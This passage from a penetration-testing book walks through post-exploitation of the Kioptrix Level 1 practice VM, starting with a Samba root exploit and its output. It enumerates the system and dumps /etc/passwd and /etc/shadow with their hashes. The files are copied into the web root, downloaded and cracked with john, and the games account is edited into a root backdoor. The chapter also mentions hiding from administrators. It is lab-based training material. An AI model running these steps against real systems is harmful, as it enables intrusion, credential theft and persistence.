Files that should be reviewed on a compromised system that is running a Linux-based operating system include the following:

There are many other commands that are useful as well, but these should provide the basic information necessary to enumerate a remote system and gather most, if not all, interesting information.

We will begin with exploiting the Kioptrix system from Kali. Before we can perform post-exploitation, we will need to find and exploit a system. As usual, we start by performing a quick scan of our local subnet:

# nmap 192.168.75.0/24

Your results will vary, but you should be able to find the Kioptrix machine on your network:

Nmap scan report for 192.168.75.14
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)

Now that the IP address of the target has been determined, we will perform a more thorough scan. Use the command of your choice to gather the necessary system information:

# nmap -A 192.168.75.14
Starting Nmap 6.49BETA4 ( http://nmap.org ) at 2015-09-26 13:52 EDT
Nmap scan report for 192.168.75.14
Host is up (0.0047s latency).
Not shown: 994 closed ports
…TRUNCATED OUTPUT…

We reuse our previous samba exploit to gain access to the samba-2.2.8 remote root exploit by eSDee (www.netric.org|be) system. In case you did not follow along in the exploitation chapter, use searchsploit and search for samba exploit10.c, clean up the code, and compile it in a directory as SambaVuln_10 via gcc-o SambaVuln_10 10.c. If you have trouble compiling this code, revisit the appropriate chapter for a step-by-step walkthrough.

# ./SambaVuln_10 -b 0 192.168.75.14
  samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
  --------------------------------------------------------------
  + Bruteforce mode. (Linux)
  + Host is running samba.
  + Worked!
  --------------------------------------------------------------
  *** JE MOET JE MUIL HOUWE
  Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
  uid=0(root) gid=0(root) groups=99(nobody)

Now that we are connected remotely, it is important to start gathering data about the system.

You have probably already noticed that you do not receive a command prompt. Take a look at which tty you are connected to:

 tty
  not a tty

As you are currently running as root, most commands you want to access will be available:

# whoami
  root

As an example, if you wanted to connect directly back to your Kali (192.168.75.25) machine using SSH, you would run into an issue such as this:

# ssh 192.168.75.25
  Pseudo-terminal will not be allocated because stdin is not a terminal.
  Aborted by user!

This can be frustrating when time is short and there are many systems that need to be reviewed before the test can be considered complete. Frustration is a good thing! This is when you learn, just do not let your frustration get above 90%, because this is when it can be counterproductive. There is a saying in pentesting, if you do not get it the first time, then try harder! Ensure that you take breaks as required, and then you can attempt it again. You can try to spawn a shell using Python:

# python -c 'import pty; pty.spawn("/bin/sh")'

Unfortunately, this will not always work. Luckily, once we have sufficient access levels on a target system, there are plenty of other methods to bypass this. Here is the output if you try to spawn a shell on the Kioptrix Level 1 machine using our current shell:

Traceback (innermost last):
  File "<string>", line 1, in ?
  File "/usr/lib/python1.5/pty.py", line 101, in spawn
    mode = tty.tcgetattr(STDIN_FILENO)
termios.error: (22, 'Invalid argument')

It can be beneficial to perform a quick enumeration of available tools before getting started. For instance, knowing that there is already a GCC compiler installed and ready to use can make a difference as to what type of post-exploitation activity you would like to proceed with. Here are some of the tools and features we should check for before starting our endeavors:

By fully understanding the capabilities of the target machine, we can determine what our next plan of action is. In the case of the Kioptrix machine, it is of note that Nmap is already installed! If the system had access to multiple networks, we would be able to leverage this tool and scan the remote network from 192.168.75.14. This is especially important if you gained a root shell from outside of a firewall and cannot simply run the scan from your own machine.

First thing we would want to do is to determine which networks the system is connected to. We need to gather the network information from the device:

cd /sbin
./ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:21:21:62
          inet addr:192.168.75.14  Bcast:192.168.75.255  Mask:255.255.255.0
          UP BROADCAST NOTRAILERS RUNNING  MTU:1500  Metric:1
          RX packets:6675 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1357 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:485701 (474.3 Kb)  TX bytes:1108769 (1.0 Mb)
          Interrupt:10 Base address:0xd020

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:23 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:3805 (3.7 Kb)  TX bytes:3805 (3.7 Kb)

This system has only one Ethernet connection set up, and it is the one we already know about (eth0 at 192.168.75.14). It is important to pay attention to network configurations that may contain more than one network card. If the system is virtualized or multi-homed, there is a small possibility it could be used to pivot into another network that was previously inaccessible. You would also want to know if the system is set up as a router. Multiple networks in ifconfig is a good indicator that there may be more to find.

The system contains a lot of other network information. Let's pull some of this data down for review.

Taking a look at the ARP tables, we determine that there is a pfSense machine on the targets network:

./arp
  Address                  HWtype  HWaddress           Flags Mask            Iface
  pfSense.localdomain      ether   08:00:27:CA:23:C6   C                     eth0
  192.168.75.25            ether   08:00:27:87:C5:F5   C                     eth0

We need to take a look at our hosts files to determine if there are any restrictions we did not know about. If there are certain systems that are specified in the hosts, using hosts.allow or hosts.deny, we can use the information to assist in setting attack priorities. The files contain comments that are very descriptive; thus, we will not reiterate their use:

cd /etc
cat hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
#127.0.0.1    localhost.localdomain localhost
127.0.0.1    kioptrix.level1    kioptrix
cat hosts.allow
#
# hosts.allow    This file describes the names of the hosts which are
#    allowed to use the local INET services, as decided
#    by the '/usr/sbin/tcpd' server.
#
cat hosts.deny
#
# hosts.deny  This file describes the names of the hosts which are
#    *not* allowed to use the local INET services, as decided
#    by the '/usr/sbin/tcpd' server.
#
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow.  In particular
# you should know that NFS uses portmap!

To find additional DHCP information that is stored on the system, we must first change directories to /etc/dhcpc.

We then follow up using cat to review the contents of dhcpcd-eth0.info:

cd /etc/dhcpc
ls
  dhcpcd-eth0.cache
  dhcpcd-eth0.info
cat dhcpcd-eth0.info
  IPADDR=192.168.75.14
  NETMASK=255.255.255.0
  NETWORK=192.168.75.0
  BROADCAST=192.168.75.255
  GATEWAY=192.168.75.1
  DOMAIN=localdomain
  DNS=192.168.75.1
  DHCPSID=192.168.75.1
  DHCPGIADDR=0.0.0.0
  DHCPSIADDR=0.0.0.0
  DHCPCHADDR=08:00:27:21:21:62
  DHCPSHADDR=08:00:27:DF:92:32
  DHCPSNAME=
  LEASETIME=86400
  RENEWALTIME=43200
  REBINDTIME=75600

Now, we know the gateway that is used, the domain, DNS, and so on. This type of information will allow us to paint a broader picture of the system and the network we are dealing with. After all, in goal-oriented pentesting, we should be working toward finding something that actually has a business impact.

Listening services can sometimes provide additional information about the system you are on. Outbound connections give an idea of what the purpose of the system is. They may also indicate potential targets on the network. If there is an active connection to a network service on another server, it may be using credentials that can be harvested in later stages. Let's take a look at the services running on the machine:

netstat -an
  netstat -an
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address           Foreign Address         State
  tcp        0      0 0.0.0.0:32768           0.0.0.0:*               LISTEN
  tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN
  tcp        0      0 0.0.0.0:45295           0.0.0.0:*               LISTEN
  tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
  tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
  tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
  tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
  tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
  tcp        0      0 192.168.75.14:45295     192.168.75.25:46759     ESTABLISHED
  udp        0      0 0.0.0.0:32768           0.0.0.0:*
  udp        0      0 127.0.0.1:32770         0.0.0.0:*
  udp        0      0 192.168.75.14:137       0.0.0.0:*
  udp        0      0 0.0.0.0:137             0.0.0.0:*
  udp        0      0 192.168.75.14:138       0.0.0.0:*
  udp        0      0 0.0.0.0:138             0.0.0.0:*
  udp        0      0 0.0.0.0:843             0.0.0.0:*
  udp        0      0 0.0.0.0:111             0.0.0.0:*
  Active UNIX domain sockets (servers and established)
  Proto RefCnt Flags       Type       State         I-Node Path
unix  8      [ ]         DGRAM                    912    /dev/log
  unix  2      [ ACC ]     STREAM     LISTENING     1229   /dev/gpmctl
  unix  2      [ ]         DGRAM                    1247
  unix  2      [ ]         DGRAM                    1210
  unix  2      [ ]         DGRAM                    1158
  unix  2      [ ]         DGRAM                    1082
  unix  2      [ ]         DGRAM                    966
  unix  2      [ ]         DGRAM                    921
  unix  2      [ ]         STREAM     CONNECTED     580

Unfortunately, we do not have anything really interesting to look at here.

Ideally, we would see connections to the services being made from other servers on the network. This information can assist you when determining next steps or even when shaping your priorities. For instance, if there is an administrator connecting to this machine using SSH, we would want to know where he is connecting from so that we could try to gain access to his machine as well.

Now, we need to see what type of software is installed on the system. We have enough information to indicate that this system is running Red Hat. Use RPM to list out which packages are installed. You can use the --last option to show the last time the package was modified. We will truncate the output, but if you are following along, you will see why it is important to pipe this information into a file for later review. Note that different versions of Linux use different package installers. RPM will work for some, but not all. Use the appropriate package listing command for your target operating system:

rpm -qa --last
zlib-devel-1.1.3-24                           Sat Sep 26 05:33:31 2009
libpng-devel-1.0.12-2                         Sat Sep 26 05:33:31 2009
libodbc++-devel-0.2.2pre4-12                  Sat Sep 26 05:33:30 2009
VFlib2-devel-2.25.1-20                        Sat Sep 26 05:33:30 2009
unixODBC-devel-2.0.7-3                        Sat Sep 26 05:33:29 2009
texinfo-4.0b-3                                Sat Sep 26 05:33:29 2009
swig-1.1p5-10                                 Sat Sep 26 05:33:29 2009
strace-4.3-2                                  Sat Sep 26 05:33:28 2009
[TRUNCATED]

One interesting fact is that many corporations use local package repositories to update their Linux-based systems. If you are able to compromise one of these repositories, you could technically arrange to have a backdoor installed on all systems using these repositories. Take a look at your Kali system and try the following command:

#cat /etc/apt/sources.list

deb http://http.kali.org/kali sana main non-free contrib
deb-src http://http.kali.org/kali sana main non-free contrib

deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free

As you can see, we have a very specific set of repositories that we pull our data from. These repositories are accessed by people across the world to update their Kali instances. If you're on a network that uses its own repositories to stage its updates, ensure that these systems are totally secure. All systems pointed at these will obtain their files from these trusted source.

Understanding which programs and services run at startup is also very important. At the Kioptrix shell, type the following command:

cd /etc/rc.d
ls
init.d
rc
rc.local
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d

If we take a look at the rc.local file, we see the following:

cat rc.local
  #!/bin/sh
  #
  # This script will be executed *after* all the other init scripts.
  # You can put your own initialization stuff in here if you don't
  # want to do the full Sys V style init stuff.

  nmbd
  smbd
  httpd -D HAVE_SSL
  touch /var/lock/subsys/local

The Kioptrix crew has set up several items that launch at system startup. For more control of these processes, they would probably be pointed at a script to start in their respective rc0-6s.

Be sure to enumerate the directory structure of the targeted device. Many times it is possible to determine what the purpose of the server is simply from looking at the installed programs and the associated directory structure. Take a look at the Kioptrix filesystem:

df -h
  Filesystem            Size  Used Avail Use% Mounted on
  /dev/hda5             374M   67M  287M  19% /
  /dev/hda1              49M  5.9M   41M  13% /boot
  /dev/hda3             554M   17M  509M   4% /home
  none                  125M     0  124M   0% /dev/shm
  /dev/hda2             1.5G  576M  859M  41% /usr
  /dev/hda7             248M   28M  207M  12% /var

Now that we know how the partitions are set up, let's take a look at what we are dealing with:

cd /home
ls -oaF
  total 29
  drwxr-xr-x    5 root         4096 Sep 26  2009 ./
  drwxr-xr-x   19 root         1024 Jan  3 23:40 ../
  drwx------    2 harold       4096 Nov 16 23:13 harold/
  drwx------    2 john         4096 Sep 26  2009 john/
  drwxr-xr-x    2 root        16384 Sep 26  2009 lost+found/

Here we can see that there are at least two user home directories. If we want to pull down the entire directory structure and a listing of all files so we can review it later, we can use tree and put the output out into a file to be transferred later:

cd /
tree -iafFp > directoryListing

This command provides us with a recursive directory listing. We chose not to print the indentations with -i, showed all files including those that are hidden with -a, wanted to see the entire file path with -f, appended characters to the end to let us know if we are looking at files or directories and more with -F, and finally chose to view the file permissions with -p.

If we look at the head and tail of the file, we can see our output in a reasonable fashion:

head directoryListing
  .
  [-rw-r--r--]  ./.autofsck
  [drwxr-xr-x]  ./bin/
  [-rwxr-xr-x]  ./bin/arch*
  [-rwxr-xr-x]  ./bin/ash*
  [-rwxr-xr-x]  ./bin/ash.static*
  [-rwxr-xr-x]  ./bin/aumix-minimal*
  [lrwxrwxrwx]  ./bin/awk -> gawk*
  [-rwxr-xr-x]  ./bin/basename*
  [-rwxr-xr-x]  ./bin/bash*
  tail directoryListing
  [-rw-r--r--]  ./var/www/icons/uuencoded.gif
  [-rw-r--r--]  ./var/www/icons/world1.gif
  [-rw-r--r--]  ./var/www/icons/world2.gif
  [drwxr-xr-x]  ./var/yp/
  [-rw-r--r--]  ./var/yp/Makefile
  [drwxr-xr-x]  ./var/yp/binding/
  [-rw-r--r--]  ./var/yp/nicknames
  [-rw-r--r--]  ./var/yp/securenets

  2795 directories, 51774 files

This particular system has over 50,000 files that would have to be reviewed. Grepping for interesting filenames would save a lot of time. Also, check out the file permissions carefully. Perhaps there is a world readable and writable directory that could be used to set up some persistence at a later time.

The history files and logs can be reviewed to determine what the system has recently been used for:

# ls -la /root

We can list the contents of the root directory to look for clues:

total 15
drwxr-x---    4 root     root         1024 Jan  3 21:42 .
drwxr-xr-x   19 root     root         1024 Jan  7 14:39 ..
-rw-r--r--    1 root     root         1126 Aug 23  1995 .Xresources
-rw-------    1 root     root          215 Nov 16 18:21 .bash_history
-rw-r--r--    1 root     root           24 Jun 10  2000 .bash_logout
-rw-r--r--    1 root     root          234 Jul  5  2001 .bash_profile
-rw-r--r--    1 root     root          176 Aug 23  1995 .bashrc
-rw-r--r--    1 root     root          210 Jun 10  2000 .cshrc
-rw-rw-rw-    1 root     root           11 Nov 13 21:14 .mh_profile
drwx------    2 root     root         1024 Jan  3 21:42 .ssh
-rw-r--r--    1 root     root          196 Jul 11  2000 .tcshrc
drwx------    2 root     root         1024 Nov 13 21:14 Mail
-rw-r--r--    1 root     root         1303 Sep 26  2009 anaconda-ks.cfg

Take a look inside the .bash_history files to see which commands were used recently:

cat /root/.bash_history
  ls
  mail
  mail
  clear
  echo "ls" > .bash_history && poweroff
  nano /etc/issue
  pico /etc/issue
  pico /etc/issue
  ls
  clear
  ls /home/
  exit
  ifconfig
  [TRUNCATED]

We found a few interesting commands that have been run by the root user, such as mail and nano /etc/issue. Then cat out /etc/issue, and you will see the following:

Welcome to Kioptrix Level 1 Penetration and Assessment Environment

--The object of this game:
|_Acquire "root" access to this machine.

There are many ways this can be done, try and find more than one way to appreciate this exercise.

DISCLAIMER: Kioptrix is not responsible for any damage or instability caused by running, installing or using this VM image. Use at your own risk.

WARNING: This is a vulnerable system, DO NOT run this OS in a production environment. Nor should you give this system access to the outside world(the Internet - or Interwebs..)

Good luck and have fun!

Looking at the mail command, you will see that there are several log messages that are being sent to the system administrator. You would want to clean these up as they contain information that may alert the administrator that you have been trying to access this system. We will revisit this when we discuss detection avoidance in the next chapter.

Keep in mind there is a .bash_history of note for every interactive user on the system. These should be checked to see if there are any files or applications that are being used frequently that may contain data that will assist in the penetration test:

locate .bash_history
  /home/john/.bash_history
  /home/harold/.bash_history
  /root/.bash_history

We will need to take a look at some of the logs in /var/log as well:

cd /var/log
ls -laG
total 2419
drwxr-xr-x    8 root         2048 Jan  7 14:39 .
drwxr-xr-x   20 root         1024 Sep 26  2009 ..
-rw-------    1 root        23988 Jan  7 14:39 boot.log
-rw-------    1 root         8554 Jan  1 19:16 boot.log.1
-rw-------    1 root         3997 Dec 11 19:42 boot.log.2
-rw-------    1 root        20983 Nov 29 18:28 boot.log.3
-rw-------    1 root        16489 Nov 13 15:07 boot.log.4
-rw-------    1 root        78641 Jan  7 16:45 cron
-rw-------    1 root        94739 Jan  1 19:21 cron.1
-rw-------    1 root        10495 Dec 11 19:47 cron.2
-rw-------    1 root        63203 Nov 29 18:33 cron.3
-rw-------    1 root         8864 Nov 13 15:12 cron.4
-rw-r--r--    1 root         5770 Jan  7 14:39 dmesg
drwxr-xr-x    2 root         1024 Jun 24  2001 fax
drwxr-xr-x    2 root         1024 Jan  7 14:44 httpd
-rw-r--r--    1 root        49879 Jan  7 14:39 ksyms.0
-rw-r--r--    1 root        49879 Jan  3 23:40 ksyms.1
-rw-r--r--    1 root        49879 Jan  3 16:13 ksyms.2
-rw-r--r--    1 root        49879 Jan  3 14:52 ksyms.3
-rw-r--r--    1 root        49879 Jan  2 18:03 ksyms.4
-rw-r--r--    1 root        49879 Jan  2 17:03 ksyms.5
-rw-r--r--    1 root        49879 Jan  1 19:16 ksyms.6
-rw-r--r--    1 root     19136220 Nov 16 23:13 lastlog
-rw-------    1 root        34690 Jan  7 16:48 maillog
-rw-------    1 root         1866 Jan  1 19:21 maillog.1
-rw-------    1 root          770 Dec 11 19:47 maillog.2
-rw-------    1 root       102520 Nov 29 18:33 maillog.3
-rw-------    1 root         1915 Nov 13 15:12 maillog.4
-rw-------    1 root        98074 Jan  7 14:44 messages
-rw-------    1 root        33312 Jan  1 19:16 messages.1
-rw-------    1 root        16485 Dec 11 19:42 messages.2
-rw-------    1 root       437542 Nov 29 18:28 messages.3
-rw-------    1 root        65865 Nov 13 15:07 messages.4
-rwx------    1 postgres        0 Sep 26  2009 pgsql
-rw-r--r--    1 root        10876 Jan  7 14:44 rpmpkgs
-rw-r--r--    1 root        10876 Dec 14 04:02 rpmpkgs.1
-rw-r--r--    1 root        10876 Nov 29 18:33 rpmpkgs.2
-rw-r--r--    1 root        10876 Nov 17 04:02 rpmpkgs.3
-rw-r--r--    1 root        10876 Nov 11 14:38 rpmpkgs.4
drwxr-xr-x    2 root         1024 Jan  7 14:40 sa
drwx------    2 root         1024 Jan  1 19:21 samba
-rw-------    1 root         2033 Jan  7 15:32 secure
-rw-------    1 root          215 Jan  1 19:16 secure.1
-rw-------    1 root           73 Dec 11 19:42 secure.2
-rw-------    1 root       802251 Nov 29 18:32 secure.3
-rw-------    1 root          456 Nov 13 15:06 secure.4
-rw-------    1 root            0 Jan  1 19:21 spooler
-rw-------    1 root            0 Dec 11 19:47 spooler.1
-rw-------    1 root            0 Nov 29 18:33 spooler.2
-rw-------    1 root            0 Nov 13 15:12 spooler.3
-rw-------    1 root            0 Nov 10 19:34 spooler.4
drwxr-x---    2 squid        1024 Aug  7  2001 squid
drwxr-xr-x    2 root         1024 Aug 27  2001 vbox
-rw-rw-r--    1 root        43776 Jan  7 14:39 wtmp
-rw-rw-r--    1 root        20736 Jan  1 19:16 wtmp.1
-rw-------    1 root            0 Jan  1 19:21 xferlog
-rw-------    1 root            0 Dec 11 19:47 xferlog.1
-rw-------    1 root            0 Nov 29 18:33 xferlog.2
-rw-------    1 root            0 Nov 13 15:12 xferlog.3
-rw-------    1 root            0 Nov 10 19:34 xferlog.4

Browse through some of these and ensure that, at a minimum, the important files such as messages, secure, and others are reviewed. A penetration tester should become as familiar with these files as a day-to-day administrator would be. If you do not understand the operating system you are working with, your ability to fully test will be limited. Take a look at the security log and see how much information can be found:

tail secure
  Sep  26 20:09:13 kioptrix sshd[1969]: Connection closed by 192.168.75.18
  Sep  26 20:09:13 kioptrix sshd[1970]: Connection closed by 192.168.75.18
  Sep 26 20:09:14 kioptrix sshd[1973]: Connection closed by 192.168.75.18

There are too many log files to review within one chapter of a book. Make sure to familiarize yourself with the data you can find on the system.

There are many additional files that will provide critical system information that pertains to your penetration test. Take a look at some of the following:

cat /etc/crontab
  SHELL=/bin/bash
  PATH=/sbin:/bin:/usr/sbin:/usr/bin
  MAILTO=root
  HOME=/

  # run-parts
  01 * * * * root run-parts /etc/cron.hourly
  02 4 * * * root run-parts /etc/cron.daily
  22 4 * * 0 root run-parts /etc/cron.weekly
  42 4 1 * * root run-parts /etc/cron.monthly

  0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg

Crontab allows us to schedule tasks. This can be used to set up persistence or to run programs that you do not have access to run. Crontab will run the task as the root user.

fstab is the configuration file that controls how the partitions are mounted:

cat /etc/fstab
LABEL=/                 /                       ext3    defaults        1 1
LABEL=/boot             /boot                   ext3    defaults        1 2
none                    /dev/pts                devpts  gid=5,mode=620  0 0
LABEL=/home             /home                   ext3    defaults        1 2
none                    /proc                      defaults        0 0
none                    /dev/shm                tmpfs   defaults        0 0
LABEL=/usr              /usr                    ext3    defaults        1 2
LABEL=/var              /var                    ext3    defaults        1 2
/dev/hda6               swap                    swap    defaults        0 0
/dev/cdrom              /mnt/cdrom              iso9660 noauto,owner,kudzu,ro 0 0

Here is a listing of other configuration files that might be of interest:

Other files that can provide valuable information include /mnt, /media, /tmp, /opt, and of course specific configuration or data files that relate to items installed on the target machine. For example, if the system targeted contains an instance of Apache or any other specific software, you would want to check the configuration and log files.

There are several files that control user access to the system and its files. Besides gathering networking and service data about the rest of the network, this is probably the most important portion of post-exploitation. If you are able to determine both the username and password that work on other systems throughout the network, then the likelihood of the penetration test being a total success increases dramatically. With a Linux system, there are several files that can be used to try to gain user credentials.

We should also use w to check who is already on the system:

w
  9:49pm  up  7:09,  0 users,  load average: 6.29, 2.65, 0.98
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT

We can determine the last person who logged on by typing last:

last
  last
  reboot   system boot  2.4.7-10         Sat Jan  7 14:39          (07:13)
  reboot   system boot  2.4.7-10         Tue Jan  3 23:40         (3+22:12)

  wtmp begins Mon Jan  2 17:03:16 2012

It looks like there are no actual user logins. As indicated in the previous output, reboots are also displayed when using the last command.

One method of determining if there are any local user accounts that have accessed the system recently is to use lastlog, which will present a listing of all user accounts and the time they last logged in:

lastlog
Username         Port     From             Latest
root             pts/0    192.168.75.12    Wed Nov 16 16:11:52 -0500 2011
bin                                        **Never logged in**
daemon                                     **Never logged in**
adm                                        **Never logged in**
lp                                         **Never logged in**
sync                                       **Never logged in**
shutdown                                   **Never logged in**
halt                                       **Never logged in**
mail                                       **Never logged in**
news                                       **Never logged in**
uucp                                       **Never logged in**
operator                                   **Never logged in**
games                                      **Never logged in**
gopher                                     **Never logged in**
ftp                                        **Never logged in**
nobody                                     **Never logged in**
mailnull                                   **Never logged in**
rpm                                        **Never logged in**
xfs                                        **Never logged in**
rpc                                        **Never logged in**
rpcuser                                    **Never logged in**
nfsnobody                                  **Never logged in**
nscd                                       **Never logged in**
ident                                      **Never logged in**
radvd                                      **Never logged in**
postgres                                   **Never logged in**
apache                                     **Never logged in**
squid                                      **Never logged in**
pcap                                       **Never logged in**
john             pts/0    192.168.1.100    Sat Sep 26 11:32:02 -0400 2009
harold           pts/0    192.168.75.12    Wed Nov 16 23:13:07 -0500 2011

From the output, we can determine that the users john and harold have both logged into the system. One logged in from the 192.168.1.100 network, the other from 192.168.75.12. Once we get the passwords from these two accounts, we should first determine if these systems are within the scope of our test, and if they are, we should attempt to log into any available services using the credentials we collect from the Kioptrix machine.

While we are at it, the SSH keys should be enumerated as well. We can take a look in the /root/.ssh directory to see if there is any indication that any such keys exist:

ls -laG
  total 2
  drwx------    2 root         1024 Jan  3 21:42 .
  drwxr-x---    4 root         1024 Jan  7 15:14 ..

In this case, there are no SSH keys available on the Kioptrix machine. Let's take a look at our Kali machine and see if the result is similar. Ideally, you would find the keys needed to connect to a remote machine. Note that this machine must have connected to other machines via SSH:

root@kali:/# cd /root/.ssh
root@kali:~/.ssh# ls -laG
  total 12
  drwx------  2 root 4096 2014-11-16 10:51 .
  drwx------ 28 root 4096 2014-01-07 09:56 ..
  -rw-r--r--  1 root  270 2014-11-16 10:51 known_hosts
root@kali:~/.ssh# cat known_hosts
|1|DbaaaaaaGlFWCelYp3KEaaaWTtE=|z7BPaaaaaafdYE1SW/HaIaJaaQk= ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/sadfasdfasdffasdfas
dfasdfasdfasdfasdfasdfasdfasdfasdfnu9ksKD1fA83RyelgSgRJNQg
PfFU3gngNno1yN6ossqkcMQTI1CY5nF6iYePs=

Once we have the basics out of the way, we need to collect the /etc/passwd and shadow files so that we can try our luck at cracking the passwords:

cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  bin:x:1:1:bin:/bin:/sbin/nologin
  daemon:x:2:2:daemon:/sbin:/sbin/nologin
  adm:x:3:4:adm:/var/adm:/sbin/nologin
  lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  sync:x:5:0:sync:/sbin:/bin/sync
  shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  halt:x:7:0:halt:/sbin:/sbin/halt
  mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  news:x:9:13:news:/var/spool/news:
  uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  operator:x:11:0:operator:/root:/sbin/nologin
  games:x:12:100:games:/usr/games:/sbin/nologin
  gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  nobody:x:99:99:Nobody:/:/sbin/nologin
  mailnull:x:47:47::/var/spool/mqueue:/dev/null
  rpm:x:37:37::/var/lib/rpm:/bin/bash
  xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
  rpc:x:32:32:Portmapper RPC user:/:/bin/false
  rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
  nfsnobody:x:65534:65534:Anonymous NFS        User:/var/lib/nfs:/sbin/nologin
  nscd:x:28:28:NSCD Daemon:/:/bin/false
  ident:x:98:98:pident user:/:/sbin/nologin
  radvd:x:75:75:radvd user:/:/bin/false
  postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
  apache:x:48:48:Apache:/var/www:/bin/false
  squid:x:23:23::/var/spool/squid:/dev/null
  pcap:x:77:77::/var/arpwatch:/bin/nologin
  john:x:500:500::/home/john:/bin/bash
  harold:x:501:501::/home/harold:/bin/bash
cat /etc/shadow
  root:$1$WasYaJER$pkIFNw3QPNYUjQvLaFr7A/:15294:0:99999:7:::
  bin:*:14513:0:99999:7:::
  daemon:*:14513:0:99999:7:::
  adm:*:14513:0:99999:7:::
  lp:*:14513:0:99999:7:::
  sync:*:14513:0:99999:7:::
  shutdown:*:14513:0:99999:7:::
  halt:*:14513:0:99999:7:::
  mail:*:14513:0:99999:7:::
  news:*:14513:0:99999:7:::
  uucp:*:14513:0:99999:7:::
  operator:*:14513:0:99999:7:::
  games:*:14513:0:99999:7:::
  gopher:*:14513:0:99999:7:::
  ftp:*:14513:0:99999:7:::
  nobody:*:14513:0:99999:7:::
  mailnull:!!:14513:0:99999:7:::
  rpm:!!:14513:0:99999:7:::
  xfs:!!:14513:0:99999:7:::
  rpc:!!:14513:0:99999:7:::
  rpcuser:!!:14513:0:99999:7:::
  nfsnobody:!!:14513:0:99999:7:::
  nscd:!!:14513:0:99999:7:::
  ident:!!:14513:0:99999:7:::
  radvd:!!:14513:0:99999:7:::
  postgres:!!:14513:0:99999:7:::
  apache:!!:14513:0:99999:7:::
  squid:!!:14513:0:99999:7:::
  pcap:!!:14513:0:99999:7:::
  john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
  harold:$1$X216PpNL$aMB5DK0mIxhg.BkiXmfjc/:15295:0:99999:7:::

The shadow file contains all of the hashed user account passwords. We will need to unshadow these passwords for them to be useful to us.

There has been a lot of data to cross the screen at this point. Most often, you will want to push this data back to a system that is under your control. Be it a compromised system that you have set up internally as a repository, or a direct connection back to the attacking system, you will need to come up with some method of transferring this data back.

The Kioptrix machine has an open web server installed, so one of the easiest methods to get a file back would be to simply copy it to the /var/www/html directory, which is open to everyone. In the Kioptrix shell type the following:

cp /etc/passwd /var/www/html/passwd
cp /etc/shadow /var/www/html/shadow
chmod 744 /var/www/html/shadow

Pick up the files on Kali by typing the following, which will create a directory named kioptrixFiles; change pwd to that directory, and then pull over the files from the Kioptrix web server:

# mkdir kioptrixFiles
# cd kioptrixFiles
# root@kali:~/kioptrixFiles# wget http://192.168.75.14/passwd
  --2015-09-26 15:36:37--  http://192.168.75.14/passwd
  Connecting to 192.168.75.14:80... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 1330 (1.3K) [text/plain]
  Saving to: 'passwd'

  100%[======================================>] 1,330       --.-K/s   in 0s

  2015-09-26 15:36:37 (25.1 MB/s) - 'passwd' saved [1330/1330]
root@kali:~/kioptrixFiles# wget http://192.168.75.14/shadow
  --2015-09-26 15:44:08--  http://192.168.75.14/shadow
  Connecting to 192.168.75.14:80... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 948 [text/plain]
  Saving to: 'shadow'

  100%[====================================>] 948         --.-K/s   in 0s

  2015-09-26 15:44:08 (50.9 MB/s) - 'shadow' saved [948/948]

The shadow and passwd are both in the Kali kioptrixFiles directory now. Before proceeding, we should remove the two files from the web server on the Kioptrix machine:

rm /var/www/html/shadow
rm /var/www/html/passwd

On the Kali machine, open up a shell and browse to your /pentest/passwords/john directory where we will use unshadow to combine the Kioptrix passwd and shadow files into kioptrixPW.db.

# # unshadow /root/kioptrixFiles/passwd /root/kioptrixFiles/shadow > /root/kioptrixFiles/kioptrixPW.db

Now that we have the necessary file, we can use john to attempt cracking the hashes in kioptrixPW.db:

# john /root/kioptrixFiles/kioptrixPW.db

A faster method of accessing the system without using an exploit is to modify an existing account. Open up a shell to your Kioptrix machine using the samba (or any other exploit that allows root access) and then type the following in, to change the games account enough to allow login and root access:

cd /etc
awk -F ":" 'BEGIN{OFS = ":"} $1 == "games" {$3="0"}{$4="0"}{$7="/bin/bash"}{ print }' passwd > test

